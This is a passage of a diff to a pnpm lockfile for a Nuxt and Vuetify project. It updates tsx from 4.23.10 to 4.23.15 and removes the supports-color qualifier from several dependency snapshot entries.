vite-node@6.0.0(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0): + vite-node@6.0.0(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0): dependencies: cac: 7.0.0 es-module-lexer: 2.3.1 obug: 2.1.4 pathe: 2.0.3 - vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0) + vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0) transitivePeerDependencies: - '@types/node' - '@vitejs/devtools' @@ -12036,7 +12042,7 @@ snapshots: - tsx - yaml - vite-plugin-checker@0.14.5(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(meow@14.1.0)(optionator@0.9.4)(stylelint@17.15.0(supports-color@10.2.2)(typescript@6.0.3))(typescript@6.0.3)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)): + vite-plugin-checker@0.14.5(eslint@10.8.0(jiti@2.7.0))(meow@14.1.0)(optionator@0.9.4)(stylelint@17.15.0(typescript@6.0.3))(typescript@6.0.3)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)): dependencies: '@babel/code-frame': 7.29.7 chokidar: 5.0.0 @@ -12045,15 +12051,15 @@ snapshots: picomatch: 4.0.5 proper-lockfile: 4.1.2 tiny-invariant: 1.3.3 - vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0) + vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0) optionalDependencies: - eslint: 10.8.0(jiti@2.7.0)(supports-color@10.2.2) + eslint: 10.8.0(jiti@2.7.0) meow: 14.1.0 optionator: 0.9.4 - stylelint: 17.15.0(supports-color@10.2.2)(typescript@6.0.3) + stylelint: 17.15.0(typescript@6.0.3) typescript: 6.0.3 - vite-plugin-inspect@11.4.1(@nuxt/kit@4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)): + vite-plugin-inspect@11.4.1(@nuxt/kit@4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)): dependencies: ansis: 4.3.1 error-stack-parser-es: 1.0.5 @@ -12063,33 +12069,33 @@ snapshots: perfect-debounce: 2.1.0 sirv: 3.0.2 unplugin-utils: 0.3.2 - vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0) - vite-dev-rpc: 2.0.0(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) + vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0) + vite-dev-rpc: 2.0.0(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) optionalDependencies: - '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))) + '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))) - vite-plugin-vue-tracer@1.4.0(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3)): + vite-plugin-vue-tracer@1.4.0(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3)): dependencies: estree-walker: 3.0.3 exsolve: 1.1.1 magic-string: 0.30.21 pathe: 2.0.3 source-map-js: 1.2.1 - vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0) + vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0) vue: 3.5.41(typescript@6.0.3) - vite-plugin-vuetify@2.1.3(supports-color@10.2.2)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3))(vuetify@4.1.8): + vite-plugin-vuetify@2.1.3(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3))(vuetify@4.1.8): dependencies: '@vuetify/loader-shared': 2.1.2(vue@3.5.41(typescript@6.0.3))(vuetify@4.1.8) - debug: 4.4.3(supports-color@10.2.2) + debug: 4.4.3 upath: 2.0.1 - vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0) + vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0) vue: 3.5.41(typescript@6.0.3) - vuetify: 4.1.8(typescript@6.0.3)(vite-plugin-vuetify@2.1.3(supports-color@10.2.2)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3))(vuetify@4.1.8))(vue@3.5.41(typescript@6.0.3)) + vuetify: 4.1.8(typescript@6.0.3)(vite-plugin-vuetify@2.1.3)(vue@3.5.41(typescript@6.0.3)) transitivePeerDependencies: - supports-color - vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0): + vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0): dependencies: lightningcss: 1.33.0 picomatch: 4.0.5 @@ -12103,7 +12109,7 @@ snapshots: jiti: 2.7.0 sass: 1.105.1 terser: 5.49.2 - tsx: 4.23.10 + tsx: 4.23.15 yaml: 2.9.0 vue-bundle-renderer@2.3.1: @@ -12119,10 +12125,10 @@ snapshots: vue-devtools-stub@0.1.0: {} - vue-eslint-parser@10.4.1(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2): + vue-eslint-parser@10.4.1(eslint@10.8.0(jiti@2.7.0)): dependencies: - debug: 4.4.3(supports-color@10.2.2) - eslint: 10.8.0(jiti@2.7.0)(supports-color@10.2.2) + debug: 4.4.3 + eslint: 10.8.0(jiti@2.7.0) eslint-scope: 9.1.2 eslint-visitor-keys: 5.0.1 espree: 11.2.0 @@ -12131,7 +12137,7 @@ snapshots: transitivePeerDependencies: - supports-color - vue-router@5.2.0(@vue/compiler-sfc@3.5.41)(esbuild@0.25.12)(pinia@3.0.4(typescript@6.0.3)(vue@3.5.41(typescript@6.0.3)))(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3)): + vue-router@5.2.0(@vue/compiler-sfc@3.5.41)(esbuild@0.25.12)(pinia@3.0.4(typescript@6.0.3)(vue@3.5.41(typescript@6.0.3)))(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3)): dependencies: '@babel/generator': 8.0.0 '@vue-macros/common': 3.1.4(vue@3.5.41(typescript@6.0.3)) @@ -12148,14 +12154,14 @@ snapshots: picomatch: 4.0.5 scule: 1.3.0 tinyglobby: 0.2.17 - unplugin: 3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) + unplugin: 3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) unplugin-utils: 0.3.2 vue: 3.5.41(typescript@6.0.3) yaml: 2.9.0 optionalDependencies: '@vue/compiler-sfc': 3.5.41 pinia: 3.0.4(typescript@6.0.3)(vue@3.5.41(typescript@6.0.3)) - vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0) + vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0) transitivePeerDependencies: - '@farmfe/core' - '@rspack/core' @@ -12176,9 +12182,9 @@ snapshots: optionalDependencies: typescript: 6.0.3 - vuetify-nuxt-module@0.19.5(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(supports-color@10.2.2)(typescript@6.0.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3)): + vuetify-nuxt-module@0.19.5(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(typescript@6.0.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3)): dependencies: - '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))) + '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))) defu: 6.1.7 destr: 2.0.5 local-pkg: 1.2.1 @@ -12186,10 +12192,10 @@ snapshots: perfect-debounce: 1.0.0 semver: 7.8.5 ufo: 1.6.4 - unconfig: 0.6.1(supports-color@10.2.2) + unconfig: 0.6.1 upath: 2.0.1 - vite-plugin-vuetify: 2.1.3(supports-color@10.2.2)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3))(vuetify@4.1.8) - vuetify: 4.1.8(typescript@6.0.3)(vite-plugin-vuetify@2.1.3(supports-color@10.2.2)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3))(vuetify@4.1.8))(vue@3.5.41(typescript@6.0.3)) + vite-plugin-vuetify: 2.1.3(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3))(vuetify@4.1.8) + vuetify: 4.1.8(typescript@6.0.3)(vite-plugin-vuetify@2.1.3)(vue@3.5.41(typescript@6.0.3)) transitivePeerDependencies: - magic-string - magicast @@ -12202,20 +12208,20 @@ snapshots: - vue - webpack-plugin-vuetify - vuetify@4.1.8(typescript@6.0.3)(vite-plugin-vuetify@2.1.3(supports-color@10.2.2)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3))(vuetify@4.1.8))(vue@3.5.41(typescript@6.0.3)): + vuetify@4.1.8(typescript@6.0.3)(vite-plugin-vuetify@2.1.3)(vue@3.5.41(typescript@6.0.3)): dependencies: vue: 3.5.41(typescript@6.0.3) optionalDependencies: typescript: 6.0.3 - vite-plugin-vuetify: 2.1.3(supports-color@10.2.2)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3))(vuetify@4.1.8) + vite-plugin-vuetify: 2.1.3(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3))(vuetify@4.1.8) - vuetify@4.2.2(typescript@6.0.3)(vite-plugin-vuetify@2.1.3(supports-color@10.2.2)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3))(vuetify@4.1.8))(vue@3.5.41(typescript@6.0.3)): + vuetify@4.2.2(typescript@6.0.3)(vite-plugin-vuetify@2.1.3)(vue@3.5.41(typescript@6.0.3)): dependencies: '@vuetify/v0': 1.2.3(vue@3.5.41(typescript@6.0.3)) vue: 3.5.41(typescript@6.0.3) optionalDependencies: typescript: 6.0.3 - vite-plugin-vuetify: 2.1.3(supports-color@10.2.2)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3))(vuetify@4.1.8) + vite-plugin-vuetify: 2.1.3(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3))(vuetify@4.1.8) transitivePeerDependencies: - '@adobe/leonardo-contrast-colors' - '@ant-design/colors'